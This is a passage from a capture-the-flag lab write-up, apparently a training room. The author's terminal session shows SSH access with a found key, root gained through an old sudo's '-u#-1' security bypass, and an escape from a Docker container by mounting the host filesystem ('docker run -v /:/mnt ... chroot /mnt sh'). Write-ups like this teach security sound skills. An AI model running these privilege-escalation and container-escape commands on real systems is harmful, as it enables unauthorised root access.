maya@linuxagency:~/old_robert_ssh$ ssh -i id_rsa robert@localhost -p 2222
The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.
ECDSA key fingerprint is SHA256:tHRuLtVLrzk2hp6qNgrziq6NZKkEQY+rN1E1J7K7lIE.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[localhost]:2222' (ECDSA) to the list of known hosts.
robert@localhost's password:
Last login: Tue Jan 12 17:02:07 2021 from 172.17.0.1
robert@ec96850005d6:~$ cat robert.txt
You shall not pass from here!!!
I will not allow ICA to take over my world.
It is a docker container (you can tell it from the hostname i.e ‘ec96850005d6’) that we just ssh’ed in (also /etc/passwd doesn’t contain all those users that we escalated from):
robert@ec96850005d6:/tmp$ ls
docker
robert@ec96850005d6:/tmp$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
(...)
robert:x:1000:1000::/home/robert:/bin/bash
We have a docker binary in /tmp as well, let’s get root first:
robert@ec96850005d6:~$ sudo -l
Matching Defaults entries for robert on ec96850005d6:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User robert may run the following commands on ec96850005d6:
(ALL, !root) NOPASSWD: /bin/bash
robert@ec96850005d6:~$ sudo --version
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2
It is an old version of sudo, we can use sudo Security Bypass to get root:
robert@ec96850005d6:~$ sudo -u#-1 /bin/bash
root@ec96850005d6:~# cd /root
root@ec96850005d6:/root# ls
success.txt user.txt
root@ec96850005d6:/root# cat user.txt
user{REDACTED}
That was easy!
root@ec96850005d6:/root# cat success.txt
47 you made it!!!
You have made it, Robert has been taught a lesson not to mess with ICA.
Now, Return to our Agency back with some safe route.
All the previous door's have been closed.
Good Luck Amigo!
What is root.txt?
root{REDACTED}
I am not familier with docker, but thankfully this one was just simply listing and mounting the docker image (let’s use the binary we found in /tmp to investigate running docker instances):
root@ec96850005d6:/tmp# ./docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
ec96850005d6 mangoman "/usr/sbin/sshd -D" 3 weeks ago Up 44 minutes 127.0.0.1:2222->22/tcp kronstadt_industries
root@ec96850005d6:/tmp# ./docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
mangoman latest b5f279024ce0 3 weeks ago 213MB
gtfobins:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Let’s modify and run it:
root@ec96850005d6:/tmp# ./docker run -v /:/mnt --rm -it mangoman chroot /mnt sh
#id
uid=0(root) gid=0(root) groups=0(root)
Wooohooooo!
# cd root
# ls
message.txt root.txt
# cat root.txt
root{REDACTED}
# cat message.txt
Nice Job 47
We are really impressed with your skills
Hope you enjoyed your journey!!
Your director's of ICA
0z09e & Xyan1d3
========>0z09e
https://github.com/0z09e
https://twitter.com/0z09e
========>Xyan1d3
https://twitter.com/xyan1d3
https://github.com/xyan1d3
That was it for this room, I hope you liked reading this writeup, happy hacking :)